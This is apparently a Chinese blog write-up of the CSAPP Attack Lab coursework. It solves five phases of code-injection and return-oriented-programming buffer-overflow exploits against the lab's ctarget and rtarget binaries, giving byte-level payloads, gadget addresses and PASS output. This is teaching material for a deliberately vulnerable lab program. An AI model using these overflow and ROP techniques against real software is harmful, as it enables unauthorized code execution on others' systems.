1. 程式人生 > 其它 >CSAPP Attack Lab 實驗

CSAPP Attack Lab 實驗

CSAPP Attack Lab 實驗

深入理解作業系統實驗。Attack Lab。

實驗環境:

  • Ubuntu 20.04.4 LTS
  • 用的書是深入理解計算機系統中文第三版
  • GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2

5段實驗:

按照官方所給的這部分實驗的Writeup,一共分為五個段:

Phase Program Level Method Function Points
1 CTARGET 1 CI touch1 10
2 CTARGET 2 CI touch2 25
3 CTARGET 3 CI touch3 25
4 RTARGET 2 ROP touch2 35
5 RTARGET 3 ROP touch3 5

CI表示 Code injectionROP表示Return-oriented programming

就按照表中所列的順序一個一個來,從注入開始。注意執行程式的時候要加上-q引數,不傳送資料到分數伺服器。

第一部分:Code Injection Attacks

Phase 1

實驗目標:

在程式CTARGET中的test函式中,有漏洞的getbuf函式被呼叫。

  • 函式test的程式碼:
void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}
  • 函式getbuf的程式碼:
unsigned getbuf()
{
     char buf[BUFFER_SIZE];
     Gets(buf);
     return 1;
}

任務是利用getbuf函式中的漏洞,使得getbuf函式返回時返回到touch1函式的開始部分。

  • touch1函式:
void touch1()
{
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

漏洞利用步驟

a.先找出touch1函式的開始地址

反彙編CTARGET。

objdump -d ctarget  > ctarget.asm

在反彙編出的檔案中搜索touch1,找到其起始地址為:0x4017c0

b.確定出getbuf中的buffer size

因為其為區域性變數,所以在函式最開始的時候會在棧上分配空間,所以只需要檢查反彙編出的指令就可以知道在棧上分配了多少空間。

  • getbuf函式的反彙編指令:
00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq   
  4017be:   90                      nop         
  4017bf:   90                      nop

4017a8處可以看出為棧上分配了0x28=40位元組的空間。棧的結構可以參考書上3.7.1節的棧幀結構。

所以,構造40位元組的填充+8位元組的返回地址的字串就可以了。

c.漏洞利用

這裡還有個問題是如何輸入不可列印字元。這裡使用官方writeup中給出的HEX2RAW程式。輸入類似下面這種命令來向ctarget程式中輸入。ctarget.l2.txt檔案中就是所構造的16進位制位元組序列。

./hex2raw < ctarget.l2.txt | ./ctarget
  • 在檔案ctarget.l2.txt中寫入,要填入的地址為00 00 00 00 00 40 17 c0,寫入時填為:c0 17 40 00 00 00 00 00,地址為小端序:

  • 構造

64 64 64 64 64 64 64 64 
64 64 64 64 64 64 64 64 
64 64 64 64 64 64 64 64 
64 64 64 64 64 64 64 64 
64 64 64 64 64 64 64 64  /* 40位元組填充 */
c0 17 40 00 00 00 00 00  /* 寫入返回地址即可 */

其中前40位元組是填充,從c0開始就是寫入的地址。

輸入命令,漏洞利用:

$ ./hex2raw < ctargetl1.txt | ./ctarget -q 
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 C0 17 40 00 00 00 00 00 

Phase 2

實驗目標:

ctarget檔案中touch2函式有以下原始碼:

void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

任務是使得getbuf函式返回到touch2,並且需要傳入cookie引數。需要插入一些指令到所構造的字串。

實現思路是:

  • 1.使得getbuf函式返回時返回到棧上的所注入的指令。
  • 2.執行將cookies寫入暫存器,使用ret而不是jmp,call來跳轉到touch2函式,因為間接跳轉需要額外的計算。

漏洞利用步驟:

a.構造漏洞利用位元組序列

從反彙編找到touch2的函式地址為:0x4017ec。需要寫入的指令為:

movq $0x59b997fa, %rdi # 將cookie存入暫存器,我的為0x59b997fa。       
pushq   0x4017ec # pushq就不會影響到其他棧幀。
ret     # 需要返回到touch2 

過程的引數傳遞可以參考書上的3.7.3節

  • 這裡用GCC作為彙編器,OBJDUMP反彙編出機器指令。

tmp.s檔案中寫入上面的指令。然後彙編與反彙編:

gcc -c tmp.s
objdump -d tmp.o >tmp.d

得到tmp.d檔案:

tmp.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 69 59    mov    $0x596997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq

然後用gdb動態除錯,找到getbuf函式返回前,輸入完成後的棧頂位置(這裡為0x5561dc78),插入指令程式碼,不需要額外計算。

構造,隻影響當前棧幀。影響到其他棧幀可能會崩,之前影響到父棧幀就崩了:

48 c7 c7 fa 97 b9 59        /* mov    $0x59b997fa,%rdi */
68 ec 17 40 00              /* pushq  $0x4017ec        */
c3                          /* retq                    */
00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00     /* 一共48位元組,最後這8位元組為函式返回地址的地方   */

b.實驗結果:

$ ./hex2raw <exploit.txt >exploit-raw.txt
$ ./ctarget -q <exploit-raw.txt 

Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 

Phase 3:

實驗目標:

讓CTARGET執行touch3函式,而不是返回到test函式,touch3有如下函式原型:

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

touch3會呼叫hexmatch函式,hexmatch函式有如下原型:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

要讓hexmatch返回true,這裡的cookie為59b997fa。在呼叫touch3函式的時候需要傳入cookie的字串表示,以null結束。

但是有個問題,棧上空間會被hexmatch函式呼叫時覆蓋。比如如果像下面這樣,會發現呼叫hexmatch函式之後字串被覆蓋了。

35 39 62 39 39 37 66 61         /* $0x59b997fa, cookie     */
00 48 c7 c7 78 dc 61 55            /* mov    $0x5561dc78,%rdi */
68 fa 18 40 00                  /* pushq  $0x4018fa        */
c3                              /* retq                    */
00 00 
65 65 65 65 65 65 65 65    
65 65 65 65 65 65 65 65    
81 dc 61 55 00 00 00 00         /* %rsp to instruction     */

就只能將字串寫到呼叫者的棧幀裡面了。

漏洞利用步驟:

a.構造位元組序列

這裡將cookie寫到返回地址下面,(雖然這樣可能會崩,phase2這樣就崩了,但沒想到其他辦法)。

只需要改一下上面那個失敗版本就行,棧地址的更改用gdb除錯一下就知道位置了。

48 c7 c7 a8 dc 61 55            /* mov    $0x5561dca8,%rdi */       
68 fa 18 40 00                  /* pushq  $0x4018fa ,touch3的地址  */       
c3                              /* retq                    */    
00 00 00    
65 65 65 65 65 65 65 65        
65 65 65 65 65 65 65 65        
65 65 65 65 65 65 65 65         /*  到這裡有40位元組 */    
78 dc 61 55 00 00 00 00         /* 返回地址,%rsp to instruction     */    
35 39 62 39 39 37 66 61         /* $59b997fa, cookie寫在這個位置 */    
00

結果

$ ./hex2raw < exploit.txt >exploit-raw.txt 
$ ./ctarget <exploit-raw.txt -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

第二部分 Return-Oriented Programming

Phase 4:

實驗目標:

跟Phase2目標相同,利用程式rtarget中的漏洞,返回時呼叫touch2,傳入cookie。不同的是開啟了棧不可執行與棧地址空間佈局隨機化(ASLR)。需要用的一種Return-Oriented Programming的方法來漏洞利用。具體可以參考這個實驗的說明。官方說明中說可以用兩個gadgets來解決這個問題。可以用movq,popq,ret,nop這4種指令型別。

大概思路:

  1. 確定需要使用的指令。
  2. 從gadget fram中找到包含這些指令的地址
  3. 構造輸入位元組序列

漏洞利用步驟:

a.確定需要使用的指令。

反彙編rtarget檔案,沒有找到有cookie的直接相關指令。我們需要把cookie寫到棧裡面去,pop到某個暫存器上,所以構造的串既有資料又有gadgets地址。然後在反彙編出的rtarget裡面找可利用的指令。找的話,把反彙編出來 start_farm 和 mid_farm 之間的部分粘貼出來,然後查詢。

  • rtarget程式中反彙編出的 gadget farm:
0000000000401994 <start_farm>:
  401994:	b8 01 00 00 00       	mov    $0x1,%eax
  401999:	c3                   	retq   

000000000040199a <getval_142>:
  40199a:	b8 fb 78 90 90       	mov    $0x909078fb,%eax
  40199f:	c3                   	retq   

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq   

00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	retq   

00000000004019b5 <setval_424>:
  4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  4019bb:	c3                   	retq   

00000000004019bc <setval_470>:
  4019bc:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)
  4019c2:	c3                   	retq   

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq   

00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq   

00000000004019d0 <mid_farm>:
  4019d0:	b8 01 00 00 00       	mov    $0x1,%eax
  4019d5:	c3                   	retq   

  • 找可以用哪些movq S, D的型別指令(S,D都是暫存器)。搜尋48 89,只找到了48 89 c7,後面有ret(c3),也就是說movq %rax,%rdi可以用。
  • 找有沒有popq %rax指令(因為在gadget fram中movq只能使用movq %rax,%rdi,找popq %rax就可以把棧上cookie彈到%rax)。搜尋58,發現有,並且後面還有ret(c3),天助我也!

所以我們的指令邏輯是:

popq %rax # 把cookie寫到棧上彈到%rax (58 )
movq %rax,%rdi #  (實際需要:48 89 c7)  
ret     # 這裡需要返回到touch2  (c3)

b.從gadget fram中找到包含這些指令的地址

  1. 搜尋58。這裡就用所找到的第一個地址為:4019ab90是nop指令。58 之後ret跳轉到下一個gedget。
  2. 搜尋48 89 c7。這裡用找到的48 89 c7 c3,地址為:4019a2。一個gedget解決。

剛好需要兩個gadgets。

c.構造

開始構造:

  1. 因為getbuf的棧空間是40位元組。返回地址需要填第一個gedget的地址,也就是4019ab
  2. 然後指令會執行 popq %rax,%rsp會-8,返回地址+8的地方放我們的cookie:59b997fa
  3. 然後popq %rax 執行完之後,就需要ret,跳轉到第二個gedget的地址,也就是4019a2
  4. 最後是touch2函式的函式地址,objdump反彙編再搜尋一下即可4017ec
65 65 65 65 65 65 65 65    
65 65 65 65 65 65 65 65    
65 65 65 65 65 65 65 65    
65 65 65 65 65 65 65 65    
65 65 65 65 65 65 65 65    
ab 19 40 00 00 00 00 00 /* 第一個gedget的地址,popq %rax,上面填充40位元組 */ 
fa 97 b9 59 00 00 00 00  /* cookie  */
a2 19 40 00 00 00 00 00 /* 第二個gedget的地址,執行 movq %rax,%rdi */
ec 17 40 00 00 00 00 00 /* touch2函式的返回地址 */

執行結果:

$ ./hex2raw <exploit.txt >exploit-raw.txt 
$ ./rtarget <exploit-raw.txt  -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

Phase 5:

實驗目標:

在有堆疊不可執行以及ASLR的情況下實現Phase3的目標。以前傳入cookie的指標是硬編碼棧上地址弄的,這裡顯然不行了。找的範圍從start_farm到mid_farm,擴充套件為start_farm到end_farm了。

首先清晰的是隻能把cookie寫到最後,因為如果寫到touch3函式地址上面,會被汙染。

  • 觀察到farm中發現有這樣一條地址傳送指令可以用:
4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax

感覺可以通過這種方式將(%rsp+x)的地址傳送到%rax。先在getdets farm裡搜尋一下可用資源。

  • 搜尋一下能用的popq指令:
popq %rax ; (58) 地址:4019ab

popq %rsp ;這個感覺沒用,但這個後面接的這個可能有用
movl %eax,%edx ; (89 c2 90 c3) 地址:4019dd
  • 搜尋一下能用的movq指令:
movq %rax,%rdi ; (48 89 c7) 地址:4019a2

movq %rsp,%rax ;(48 89 e0) 地址:401a06
  • 因為圍繞lea (%rdi,%rsi,1),%rax指令,所以再找一下能改變%rsi的指令:
movl %ecx,%esi ;(89 ce) 地址:401a13
  • 找可以改變%ecx的指令的用有哪些指令:
movl %edx,%ecx; (89 d1) 地址:401a34

感覺差不多夠了,不夠再找,試著拼接一下,拼接的指令執行邏輯大概是:


popq %rax ; 這是棧裡面放的是偏移

movl %eax,%edx 

movl %edx,%ecx

movl %ecx,%esi  ;就為了從%eax導到%esi

movq %rsp,%rax  

movq %rax,%rdi 

lea    (%rdi,%rsi,1),%rax 

movq %rax,%rdi
ret ;這裡返回到touch3

感覺夠了。Brutal! 指令竟然這麼多。

漏洞利用步驟:

a.按照上面的指令邏輯開始構造

AA AA AA AA AA AA AA AA 
AA AA AA AA AA AA AA AA 
AA AA AA AA AA AA AA AA 
AA AA AA AA AA AA AA AA 
AA AA AA AA AA AA AA AA  /*  40位元組  */
ab 19 40 00 00 00 00 00   /*  4019ab: popq %rax  返回到第一條指令  */
20 00 00 00 00 00 00 00   /* cookie 的偏移,需要計算一下,movq %rsp,%rax指令處開始計算 */
dd 19 40 00 00 00 00 00   /* movl %eax,%edx ;  地址:4019dd */
34 1a 40 00 00 00 00 00   /* movl %edx,%ecx;  地址:401a34 */
13 1a 40 00 00 00 00 00  /* movl %ecx,%esi ; 地址:401a13 */
06 1a 40 00 00 00 00 00  /* movq %rsp,%rax ; 地址:401a06 */
a2 19 40 00 00 00 00 00  /* movq %rax,%rdi ;  地址:4019a2 */
d6 19 40 00 00 00 00 00  /* 4019d6:   lea (%rdi,%rsi,1),%rax */
a2 19 40 00 00 00 00 00  /* movq %rax,%rdi ;  地址:4019a2 */
fa 18 40 00 00 00 00 00  /* 4018fa:touch3 函式地址 */
35 39 62 39 39 37 66 61         /* $0x59b997fa, cookie     */
00 

實驗結果:

$ ./hex2raw <exploit.txt >exploit-raw.txt 
$ ./rtarget <exploit-raw.txt  -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:3:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AB 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 

參考資料: